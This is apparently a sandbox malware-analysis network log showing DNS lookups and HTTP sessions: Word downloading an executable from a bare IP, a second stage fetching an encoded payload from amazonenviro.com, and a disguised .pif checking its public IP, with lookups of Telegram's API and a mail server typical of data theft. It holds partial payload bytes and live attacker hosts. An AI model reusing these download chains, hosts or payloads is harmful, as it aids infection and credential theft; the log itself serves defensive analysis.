                                                                                                                                                          Jan 7, 2025 13:25:09.726752043 CET1.1.1.1192.168.2.50x3176No error (0)checkip.dyndns.com158.101.44.242A (IP address)IN (0x0001)false
                                                                                                                                                          Jan 7, 2025 13:25:09.726752043 CET1.1.1.1192.168.2.50x3176No error (0)checkip.dyndns.com132.226.247.73A (IP address)IN (0x0001)false
                                                                                                                                                          Jan 7, 2025 13:25:09.726752043 CET1.1.1.1192.168.2.50x3176No error (0)checkip.dyndns.com193.122.6.168A (IP address)IN (0x0001)false
                                                                                                                                                          Jan 7, 2025 13:25:09.726752043 CET1.1.1.1192.168.2.50x3176No error (0)checkip.dyndns.com193.122.130.0A (IP address)IN (0x0001)false
                                                                                                                                                          Jan 7, 2025 13:25:18.321296930 CET1.1.1.1192.168.2.50x2035No error (0)reallyfreegeoip.org188.114.97.3A (IP address)IN (0x0001)false
                                                                                                                                                          Jan 7, 2025 13:25:18.321296930 CET1.1.1.1192.168.2.50x2035No error (0)reallyfreegeoip.org188.114.96.3A (IP address)IN (0x0001)false
                                                                                                                                                          Jan 7, 2025 13:25:34.122328043 CET1.1.1.1192.168.2.50xe09eNo error (0)api.telegram.org149.154.167.220A (IP address)IN (0x0001)false
                                                                                                                                                          Jan 7, 2025 13:25:41.504635096 CET1.1.1.1192.168.2.50x2756No error (0)mail.techniqueqatar.com208.91.198.176A (IP address)IN (0x0001)false

                                                                                                                                                          HTTP Request Dependency Graph

                                                                                                                                                          • reallyfreegeoip.org
                                                                                                                                                          • api.telegram.org
                                                                                                                                                          • 147.124.216.113
                                                                                                                                                          • amazonenviro.com
                                                                                                                                                          • checkip.dyndns.org

                                                                                                                                                          HTTP Packets

                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                          0192.168.2.549710147.124.216.113801892C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                          Jan 7, 2025 13:24:59.342294931 CET182OUTGET /image.exe HTTP/1.1
                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                          Accept: */*
                                                                                                                                                          Accept-Language: en-ch
                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                          Host: 147.124.216.113
                                                                                                                                                          Jan 7, 2025 13:25:00.667083979 CET1236INHTTP/1.1 200 OK
                                                                                                                                                          Content-Type: application/octet-stream
                                                                                                                                                          Last-Modified: Tue, 07 Jan 2025 08:16:47 GMT
                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                          ETag: "65d1a17edc60db1:0"
                                                                                                                                                          Server: Microsoft-IIS/8.5
                                                                                                                                                          Date: Tue, 07 Jan 2025 12:25:00 GMT
                                                                                                                                                          Content-Length: 1161216
                                                                                                                                                          Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 09 00 19 5e 42 2a 00 00 00 00 00 00 00 00 e0 00 8e 81 0b 01 02 19 00 d0 06 00 00 e4 0a 00 00 00 00 00 0c e8 06 00 00 10 00 00 00 f0 06 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 40 [TRUNCATED]
                                                                                                                                                          Data Ascii: MZP@!L!This program must be run under Win32$7PEL^B*@@@Pn& |TW.text `.itextH `.data@ @.bss6.idatan&P(@.tls4.rdata@@.reloc|~@B.rsrc @@@@@
                                                                                                                                                          Jan 7, 2025 13:25:00.667103052 CET1236INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 10 40 00 03 07 42 6f 6f 6c 65 61 6e 01 00 00 00 00 01 00 00 00 00 10 40 00 05 46 61 6c 73 65 04 54 72 75 65 8d 40 00 2c 10 40 00 02 04 43 68 61 72 01
                                                                                                                                                          Data Ascii: @Boolean@FalseTrue@,@Char@@IntegerX@Bytel@Word@Cardinal@string@WideString@@
                                                                                                                                                          Jan 7, 2025 13:25:00.667114019 CET1236INData Raw: 28 df 7a 20 df 7a 18 df 7a 10 df 7a 08 df 3a c3 8d 40 00 df 28 df 68 08 df 68 10 df 68 18 df 68 20 df 68 28 df 68 30 8b 48 38 89 4a 38 df 7a 30 df 7a 28 df 7a 20 df 7a 18 df 7a 10 df 7a 08 df 3a c3 90 df 28 df 68 08 df 68 10 df 68 18 df 68 20 df
                                                                                                                                                          Data Ascii: (z zzz:@(hhhh h(h0H8J8z0z(z zzz:(hhhh h(h0h8H@J@z8z0z(z zzz:@y,l|<x,<DD@,<xH9JtG!(G
                                                                                                                                                          Jan 7, 2025 13:25:00.667124987 CET1236INData Raw: fe 29 3d 20 17 47 00 89 35 1c 17 47 00 eb 21 0f b7 43 1a 89 c7 e8 e5 fc ff ff 89 c6 85 c0 75 10 a2 18 17 47 00 88 03 5f 5e 5b c3 80 64 37 fc f7 8d 4f 06 89 4e fc 31 c0 a2 18 17 47 00 89 1e 89 46 08 c7 46 0c 01 00 00 00 89 73 10 8d 46 20 0f b7 4b
                                                                                                                                                          Data Ascii: )= G5G!CuG_^[d7ON1GFFsF KS){p_^[%Gt?jv%Gt)j`=,0u#(Gt^#$Gt
                                                                                                                                                          Jan 7, 2025 13:25:00.667138100 CET896INData Raw: 23 5e fc 09 eb 89 5e fc 89 cb 8b 57 fc f6 c2 01 75 09 83 ca 08 89 57 fc eb 17 90 89 f8 83 e2 f0 01 d3 01 d7 81 fa 30 0b 00 00 72 05 e8 ee f6 ff ff 89 5f f8 8d 43 03 89 44 2e fc 81 fb 30 0b 00 00 72 0a 8d 04 2e 89 da e8 12 f7 ff ff c6 05 18 17 47
                                                                                                                                                          Data Ascii: #^^WuW0r_CD.0r.G]_^[to]_^[G,9=MGtO%Gt'QRjfZY%GtQRjLZY#^Gt~,9w
                                                                                                                                                          Jan 7, 2025 13:25:00.703648090 CET1236INData Raw: 92 8d 14 92 83 f9 01 83 df ff c1 e8 1a 81 e2 ff ff ff 03 09 c1 83 c8 30 88 07 8d 04 92 8d 14 92 83 f9 01 83 df ff c1 e8 19 81 e2 ff ff ff 01 09 c1 83 c8 30 88 07 8d 04 92 8d 14 92 83 f9 01 83 df ff c1 e8 18 81 e2 ff ff ff 00 09 c1 83 c8 30 88 07
                                                                                                                                                          Data Ascii: 0000?000G_@SV^[USVE@;rM
                                                                                                                                                          Jan 7, 2025 13:25:00.703670025 CET1236INData Raw: d8 07 fe ff ff 85 f8 47 fe ff 8b c3 e8 1e fa ff ff 8b d8 85 db 75 8e 8b 7f 04 81 ff 08 17 47 00 0f 85 72 ff ff ff 8b 1d b0 37 47 00 eb 37 8b c3 83 c0 10 e8 5f fd ff ff 84 c0 75 26 c6 85 ff 47 fe ff 00 8b 73 0c 83 e6 f0 83 ee 04 83 ee 10 8b 85 f8
                                                                                                                                                          Data Ascii: GuGr7G7_u&GsGG[7GtG|GXG3G)@(AG7G>FOGGGGG
                                                                                                                                                          Jan 7, 2025 13:25:00.703681946 CET448INData Raw: e8 da fe ff ff c7 05 08 17 47 00 08 17 47 00 c7 05 0c 17 47 00 08 17 47 00 be 00 04 00 00 ba a8 17 47 00 8b c2 89 00 89 40 04 83 c2 08 4e 75 f3 c7 05 ac 37 47 00 ac 37 47 00 c7 05 b0 37 47 00 ac 37 47 00 5f 5e 5b c3 8d 40 00 53 56 57 55 bb 08 17
                                                                                                                                                          Data Ascii: GGGGG@Nu7G7G7G7G_^[@SVWUG7G{ohjW;u7<FHH@3H Ju[G@Ju^{hjS(;u6v]_^[=7Gt7GP3
                                                                                                                                                          Jan 7, 2025 13:25:00.703694105 CET1236INData Raw: 59 09 c0 74 e7 89 01 c3 8d 40 00 e8 67 3a 00 00 83 b8 00 00 00 00 00 74 0f e8 59 3a 00 00 8b 80 00 00 00 00 8b 40 08 c3 33 c0 c3 e8 47 3a 00 00 83 b8 00 00 00 00 00 74 0f e8 39 3a 00 00 8b 80 00 00 00 00 8b 40 04 c3 33 c0 c3 53 56 e8 25 3a 00 00
                                                                                                                                                          Data Ascii: Yt@g:tY:@3G:t9:@3SV%:t:^:3F3^[@FSV=GtGu9w4F^[@$PRQ9Y
                                                                                                                                                          Jan 7, 2025 13:25:00.703705072 CET1236INData Raw: da dd 14 02 dd 54 02 08 83 c2 10 7c f4 dd c0 c3 90 90 90 85 d2 7e 50 88 4c 02 ff 83 e2 fe f7 da 8d 14 55 80 32 40 00 ff e2 90 90 66 89 48 1c 66 89 48 1a 66 89 48 18 66 89 48 16 66 89 48 14 66 89 48 12 66 89 48 10 66 89 48 0e 66 89 48 0c 66 89 48
                                                                                                                                                          Data Ascii: T|~PLU2@fHfHfHfHfHfHfHfHfHfHfHfHfHfHf@SVWPtl11F t-tb+t_$t_xtZXtU0uFxtHXtCt t-0w%9w!Fut}TF~KxI[)G
                                                                                                                                                          Jan 7, 2025 13:25:00.703764915 CET1236INData Raw: 45 f4 50 8d 45 f8 50 6a 00 6a 00 68 60 37 40 00 8b 45 fc 50 e8 fe db ff ff 33 c0 5a 59 59 64 89 10 68 24 37 40 00 8b 45 fc 50 e8 d8 db ff ff c3 e9 06 09 00 00 eb ef 0f b7 05 20 f0 46 00 66 25 c0 ff 0f b7 55 f8 66 83 e2 3f 66 0b c2 66 a3 20 f0 46
                                                                                                                                                          Data Ascii: EPEPjjh`7@EP3ZYYdh$7@EP Ff%Uf?ff F]SOFTWARE\Borland\Delphi\RTLFPUMaskValue- FVWp1A_^@USV3M3Uh'8@d0d E


                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                          1192.168.2.549717166.62.27.188802072C:\Windows\SysWOW64\brightness.exe
                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                          Jan 7, 2025 13:25:02.446954966 CET165OUTGET /245_Aiymwhpjxsg HTTP/1.1
                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                          Accept: */*
                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                          Host: amazonenviro.com
                                                                                                                                                          Jan 7, 2025 13:25:03.439518929 CET1236INHTTP/1.1 200 OK
                                                                                                                                                          Date: Tue, 07 Jan 2025 12:25:03 GMT
                                                                                                                                                          Server: Apache
                                                                                                                                                          Upgrade: h2,h2c
                                                                                                                                                          Connection: Upgrade, Keep-Alive
                                                                                                                                                          Last-Modified: Sun, 05 Jan 2025 22:51:37 GMT
                                                                                                                                                          ETag: "2ca99af-bf3d0-62afd5ac0f2a3"
                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                          Content-Length: 783312
                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                          Keep-Alive: timeout=5
                                                                                                                                                          Data Raw: 37 6b 4a 35 67 6a 48 77 71 47 59 5a 50 67 6e 54 43 58 5a 43 38 4f 64 59 38 69 64 75 79 67 6e 52 54 76 63 64 67 64 67 49 43 37 6c 43 47 2f 6d 53 75 2f 71 37 4c 52 30 6b 4a 4a 43 7a 42 61 34 77 46 65 2b 6b 73 76 79 36 51 52 45 6d 4a 70 75 38 2b 61 67 74 4a 65 71 74 6d 46 65 56 43 45 4e 68 72 36 52 4f 70 42 30 33 59 72 75 4d 55 6f 34 67 4b 30 36 75 69 31 32 51 48 6a 4e 59 71 61 5a 59 6b 2f 56 49 51 2b 52 34 52 6f 62 73 56 43 76 6c 63 44 52 38 36 6c 49 33 31 6d 68 42 62 66 64 4e 79 54 55 59 56 48 75 68 78 6b 72 42 55 59 68 5a 34 6f 4b 52 38 32 65 4c 57 44 59 58 41 51 78 67 42 4d 50 48 79 49 41 45 54 32 77 72 72 64 52 30 42 31 4f 42 4f 37 4b 39 35 44 35 65 66 54 44 69 62 5a 49 77 54 33 39 36 4f 64 35 35 64 4b 45 36 46 64 6c 52 71 4b 57 6a 38 45 76 4b 58 36 6d 58 6b 31 51 46 66 45 43 7a 34 4e 67 31 2f 62 41 46 78 74 48 4a 51 51 4b 30 41 64 62 58 70 34 46 55 49 64 6e 30 65 4f 5a 31 54 68 48 67 43 34 2b 72 6d 43 51 6b 58 4f 58 31 61 4b 2f 4e 4b 31 37 6d 2b 34 54 48 74 62 5a 43 59 34 6c 57 6d 4d 6d 38 4c 68 [TRUNCATED]
                                                                                                                                                          Data Ascii: 7kJ5gjHwqGYZPgnTCXZC8OdY8iduygnRTvcdgdgIC7lCG/mSu/q7LR0kJJCzBa4wFe+ksvy6QREmJpu8+agtJeqtmFeVCENhr6ROpB03YruMUo4gK06ui12QHjNYqaZYk/VIQ+R4RobsVCvlcDR86lI31mhBbfdNyTUYVHuhxkrBUYhZ4oKR82eLWDYXAQxgBMPHyIAET2wrrdR0B1OBO7K95D5efTDibZIwT396Od55dKE6FdlRqKWj8EvKX6mXk1QFfECz4Ng1/bAFxtHJQQK0AdbXp4FUIdn0eOZ1ThHgC4+rmCQkXOX1aK/NK17m+4THtbZCY4lWmMm8Lh3dSKTlFZ67/331TvVxywG0OWYHbOf8wD5SQtXCEdEoIuzWxA67Xe8UxZtk3y8gIW/JW8sqDA+EzliSDyQk96HVIeEZ7/7AeS1vOSX11YpfXoQBZvLYnklo/VfupaxBnBpTNN3FMIMCLlax5SYkyxpWOKiYTeIdWzc2rItO0E8BXNOCZZ0j9HT0VoREt+WvZ0ekSsabmoNiMKNlvJ+HZ/OpMOWHchRA506tnIj6V84gpW54IVGTYqCHgRxaj16bv8v4M2ppTtDRamUj0/+B4IUSOq8NmtrZxEw319Ahp9rEVCt4QGnIyb06J9RInN++LyYkzFvnftlZ/OcelWjIW+zTIJN4iQYXt+A+JiQl+s61EuArEfDWhSysUv/yjLAurEvw9ZGtR3oEDgeN2R/ZH/Drld0n0x5FXISs8cpX+FqGq/PeY/tmtI8imSdVN9/HMZsIU0bdr/G6+zVKynwxxuoxTdVyNLQ5EUHNfVmbJf9Kz4FgihDrFm+nMmsORWNyoD11ED1VddIMmNVtbQo1ui3McYULPagkJH6ZlJbwR2hBaNALai3LHoGtv2fz32TZCu2Kx5dk2sPepb2WBIrXzSsH5uu
                                                                                                                                                          Jan 7, 2025 13:25:03.439539909 CET1236INData Raw: 64 74 4b 58 30 49 4e 66 44 47 4e 32 54 2b 6a 65 6e 4b 64 6c 71 77 50 64 4a 64 44 54 65 6e 5a 41 6c 52 36 76 75 78 5a 64 33 48 70 42 6b 36 57 79 6b 61 52 78 53 69 31 50 46 77 6e 41 76 32 79 76 59 4f 49 68 71 65 67 4d 2b 67 30 58 49 70 59 6f 46 55
                                                                                                                                                          Data Ascii: dtKX0INfDGN2T+jenKdlqwPdJdDTenZAlR6vuxZd3HpBk6WykaRxSi1PFwnAv2yvYOIhqegM+g0XIpYoFUIlb0HuN6l0phSViOqV4M3gsCgKWrS23OiYk9cS3S3oYQy+3cht9JiQpPbJ8VZgQQ2GqoGeUJCaTas/nQ90UUSvXo2V57O9LTObKKXBJ+PmQ2yXdKwzqi7j7xUIZAT0JGW3xXEPmaTXj+PIfdcMA2yr3IGvlEdZPBx
                                                                                                                                                          Jan 7, 2025 13:25:03.439553022 CET448INData Raw: 32 32 68 4f 79 4d 41 67 4f 6a 73 59 4d 30 31 50 77 4a 69 53 59 72 67 71 33 50 68 41 53 62 6f 74 4a 79 55 77 56 45 36 4f 79 38 4c 74 6b 2f 2f 4f 67 75 45 6a 62 4b 41 72 71 6d 64 72 35 71 32 59 54 49 30 62 77 74 77 69 6b 77 4c 63 34 49 62 77 43 78
                                                                                                                                                          Data Ascii: 22hOyMAgOjsYM01PwJiSYrgq3PhASbotJyUwVE6Oy8Ltk//OguEjbKArqmdr5q2YTI0bwtwikwLc4IbwCxbyeXjrF+GvPuWLzHOGWy984Hdv3fLLmUwatD23Y3jT+0Rx4ecGyKiQmtBVt0MVBIq3qkM6oBVB7LbiXbgVdoTnOhYrzMmhgsJqABiimR4DFhmdGlkncl3gdLoles451ClqcYrq5posNU3I4sLGnlA9TkSngjx7kv/
                                                                                                                                                          Jan 7, 2025 13:25:03.439563990 CET1236INData Raw: 47 39 67 39 74 35 6d 70 63 33 48 65 6d 4c 77 57 7a 5a 65 47 39 33 43 59 6d 48 61 49 6c 34 63 57 63 2f 56 6e 4e 47 4e 46 6f 6a 76 56 67 70 57 4c 4b 62 73 68 4b 38 62 44 2b 67 61 43 6f 54 50 78 32 38 65 42 78 76 77 30 6d 4a 48 4d 78 6c 71 5a 70 41
                                                                                                                                                          Data Ascii: G9g9t5mpc3HemLwWzZeG93CYmHaIl4cWc/VnNGNFojvVgpWLKbshK8bD+gaCoTPx28eBxvw0mJHMxlqZpAF2MTdZoiEzys16jeI31VqBL/03XLRuJD4nDjRoxfFi3mqf4Ed4wlnaU+oErgdJ/jfPE+8c4IDuqkO+37RMvj3ESE3wpG0KKePiAJewNgtET5mY7IYTgEY9m+E5+ihp3+wdkk59hrA8+LcvSI+FY/2Ngymsibjcn8p
                                                                                                                                                          Jan 7, 2025 13:25:03.439577103 CET1236INData Raw: 6a 6f 71 71 4a 44 64 70 32 4b 48 6e 38 52 54 4c 61 69 79 6c 39 38 7a 4e 49 6b 37 4d 6b 4a 4c 4a 69 59 78 4d 45 69 62 73 43 71 49 6d 77 4a 61 58 55 4a 69 62 52 5a 77 76 35 6c 62 45 56 32 6b 51 61 46 57 76 6b 4a 39 55 2b 44 50 4e 77 71 41 47 75 4b
                                                                                                                                                          Data Ascii: joqqJDdp2KHn8RTLaiyl98zNIk7MkJLJiYxMEibsCqImwJaXUJibRZwv5lbEV2kQaFWvkJ9U+DPNwqAGuKg8hkLUGtVMJJ5XA9a9RIRWjx/qrTwP1Rh3X63fB5CsVxgCfmt/gQwbiBZ3iqzQP1Cd05dhEJ70cjL/OQxrlHZStySof8Kuja79U/6ohhNi8KvG09m/J3uplpUjQbnXpOoVKvKCD8mJ4N6lyaxJZiTC+boz+ZndWrI
                                                                                                                                                          Jan 7, 2025 13:25:03.439588070 CET448INData Raw: 50 62 4e 36 71 2b 2f 75 63 55 2b 57 41 70 69 42 6e 33 64 34 47 64 58 61 76 39 46 75 69 57 4e 47 66 61 67 5a 52 61 55 62 4e 62 59 54 32 50 70 41 79 32 70 6d 52 49 45 4b 5a 46 50 46 51 7a 44 51 37 7a 77 76 52 69 58 6f 55 47 6d 30 75 73 4c 4e 71 68
                                                                                                                                                          Data Ascii: PbN6q+/ucU+WApiBn3d4GdXav9FuiWNGfagZRaUbNbYT2PpAy2pmRIEKZFPFQzDQ7zwvRiXoUGm0usLNqhPI+llXGsfmVmQenEEZMtYBjehxESZu4ygmtbqXstJS35QqLkFn7LlajBwAiQ4CEsV524zA3MQOYZiOfbIvCVYXPQGMx7KbsRcndzItdyigK0hIGruRFfc6Hm2Deyx0+F+y0KigP5rp1ELme8gL6L88SV9e2vG4Esp
                                                                                                                                                          Jan 7, 2025 13:25:03.439667940 CET1236INData Raw: 54 34 30 68 41 54 67 43 46 53 67 42 34 6d 61 66 54 57 35 76 47 57 7a 56 57 56 35 46 72 44 30 4e 38 31 37 47 62 64 6e 38 37 47 54 68 59 6e 68 55 67 6d 57 6d 58 71 72 68 78 76 43 73 74 4b 2f 71 56 4f 68 69 48 35 63 2b 51 38 65 64 76 47 68 49 4b 41
                                                                                                                                                          Data Ascii: T40hATgCFSgB4mafTW5vGWzVWV5FrD0N817Gbdn87GThYnhUgmWmXqrhxvCstK/qVOhiH5c+Q8edvGhIKAcHmM9PR343/ynkQHh1MsxI/yuZ8lQTCa+wEBlzjO174rex2LrBnBgzzMuAfTIu2q3waw4r4AtyX8uN+HAn1Z9wTddbB0Z7txXFYGxFg4A4x2MvOhvHJkfHpRCgf6aK2lbg5F5KNT+lIR3/v7raWsdMcAmhpw/FjHn
                                                                                                                                                          Jan 7, 2025 13:25:03.439713001 CET1236INData Raw: 61 31 35 58 47 47 43 59 6d 34 5a 38 4c 54 4c 5a 64 65 58 47 49 54 6c 7a 62 6f 50 32 5a 6c 68 61 68 4d 4d 6a 31 50 34 33 79 63 62 67 33 74 54 55 67 76 6c 59 59 56 41 72 55 4b 51 6b 71 6d 38 65 65 6a 49 76 47 6b 48 4b 32 36 6d 76 31 6f 50 43 30 67
                                                                                                                                                          Data Ascii: a15XGGCYm4Z8LTLZdeXGITlzboP2ZlhahMMj1P43ycbg3tTUgvlYYVArUKQkqm8eejIvGkHK26mv1oPC0gx/0S+KkNA9UR3W3kZRP6h5F7vpA7LiWECVAQRGM7CYktF2r973c5r9BFFzuacRoWGbbmPS1a6rtY9XkEsUoFmTufLGL6RzXQtNTyCMSz5K2IwtH1nIYbqx6QOpUI2k+MED62U4P8DaCazu1WxXeIM6vS/FwrRi9+C
                                                                                                                                                          Jan 7, 2025 13:25:03.439723969 CET448INData Raw: 42 56 6a 77 37 35 78 33 6d 50 4a 42 72 69 77 58 70 4e 4b 50 46 30 53 65 48 75 6b 69 66 66 47 48 64 73 59 30 7a 46 4f 37 32 36 6a 59 6a 51 5a 76 33 42 32 50 39 69 64 70 78 6f 78 66 34 51 59 31 2b 39 57 33 68 45 68 61 37 31 38 79 39 64 67 63 5a 78
                                                                                                                                                          Data Ascii: BVjw75x3mPJBriwXpNKPF0SeHukiffGHdsY0zFO726jYjQZv3B2P9idpxoxf4QY1+9W3hEha718y9dgcZxaGpXrJR2AkPU+psb7YJJCR/GGOrLX9oLhto9uukkc+j0og8IwgdxcBx9hHCvbhxJiS5pJy/KrPJdOLBsCGhgPm2EKKIhnpoa+c2Lqj5MMt/BNoeDmlFuBdrwyeaTkszLG4BsEUVphkIGvSHbBCDT9ICzGW6P447tO
                                                                                                                                                          Jan 7, 2025 13:25:03.439779043 CET1236INData Raw: 2b 5a 6e 31 4d 56 50 4a 31 6b 79 68 37 34 51 71 54 36 74 35 4d 76 70 69 49 58 63 67 4e 67 4c 76 69 6a 53 4f 30 56 4e 62 50 45 57 4d 76 78 50 7a 53 6a 32 6f 6e 59 34 68 69 61 58 73 6e 66 46 4d 43 6b 37 39 5a 31 50 6a 48 70 67 31 30 54 73 5a 44 35
                                                                                                                                                          Data Ascii: +Zn1MVPJ1kyh74QqT6t5MvpiIXcgNgLvijSO0VNbPEWMvxPzSj2onY4hiaXsnfFMCk79Z1PjHpg10TsZD5PDXfCux5VbyCxoEJRbFWD2HSYZe1GIyvCIyVOHHAMTFqO2284Xz2J1NDVKTKrp0wFHgXE1jBP4he7yX6ZKpu8UmJISziWsh4YnpZ4ACrrIAWMvTJWWI8QwNoaB2bO81lSgsXyqNStZQDAkNLkCdc8SMLIySDN1tbZ
                                                                                                                                                          Jan 7, 2025 13:25:03.444482088 CET1236INData Raw: 41 6f 64 75 7a 54 64 35 54 36 57 6b 48 55 35 56 72 4a 43 59 4b 78 79 4d 55 33 4f 5a 46 55 72 33 77 2b 54 49 34 71 6e 6e 58 4c 2b 5a 54 77 72 52 4c 5a 47 63 55 44 4b 34 4b 49 70 57 5a 62 35 33 35 34 41 36 41 79 63 51 68 46 42 2b 63 37 50 6e 32 6e
                                                                                                                                                          Data Ascii: AoduzTd5T6WkHU5VrJCYKxyMU3OZFUr3w+TI4qnnXL+ZTwrRLZGcUDK4KIpWZb5354A6AycQhFB+c7Pn2nQR/UY6Yuf/fa9JX+FKo0VNXstmzVEpWE5Y8Hkpelsy7wiQkxe9tOu+jK0FCPrLP1ZFIGQdbTu9FGYQqpK7DkI+O95AxEHSi3SvlEBhAeCjAGqftj9/XPfeXGOe51bxUeuwSo/QQNqs+4MJEcOE8b6dUJCYBBG1QoW


                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                          2192.168.2.549733132.226.8.169806396C:\Users\Public\Libraries\jphwmyiA.pif
                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                          Jan 7, 2025 13:25:09.739025116 CET151OUTGET / HTTP/1.1
                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                          Host: checkip.dyndns.org
                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                          Jan 7, 2025 13:25:16.890070915 CET273INHTTP/1.1 200 OK
                                                                                                                                                          Date: Tue, 07 Jan 2025 12:25:16 GMT
                                                                                                                                                          Content-Type: text/html
                                                                                                                                                          Content-Length: 104
                                                                                                                                                          Connection: keep-alive
                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                          Pragma: no-cache
                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                          Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
                                                                                                                                                          Jan 7, 2025 13:25:16.896199942 CET127OUTGET / HTTP/1.1
                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                          Host: checkip.dyndns.org
                                                                                                                                                          Jan 7, 2025 13:25:17.171679974 CET273INHTTP/1.1 200 OK
                                                                                                                                                          Date: Tue, 07 Jan 2025 12:25:17 GMT
                                                                                                                                                          Content-Type: text/html
                                                                                                                                                          Content-Length: 104
                                                                                                                                                          Connection: keep-alive
                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                          Pragma: no-cache
                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                          Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
                                                                                                                                                          Jan 7, 2025 13:25:19.271027088 CET127OUTGET / HTTP/1.1
                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                          Host: checkip.dyndns.org
                                                                                                                                                          Jan 7, 2025 13:25:19.550362110 CET273INHTTP/1.1 200 OK
                                                                                                                                                          Date: Tue, 07 Jan 2025 12:25:19 GMT
                                                                                                                                                          Content-Type: text/html
                                                                                                                                                          Content-Length: 104
                                                                                                                                                          Connection: keep-alive
                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                          Pragma: no-cache
                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                          Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                          3192.168.2.549807132.226.8.169806396C:\Users\Public\Libraries\jphwmyiA.pif
                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                          Jan 7, 2025 13:25:20.354180098 CET127OUTGET / HTTP/1.1
                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                          Host: checkip.dyndns.org
                                                                                                                                                          Jan 7, 2025 13:25:23.295241117 CET273INHTTP/1.1 200 OK
                                                                                                                                                          Date: Tue, 07 Jan 2025 12:25:23 GMT
                                                                                                                                                          Content-Type: text/html
                                                                                                                                                          Content-Length: 104
                                                                                                                                                          Connection: keep-alive
                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                          Pragma: no-cache
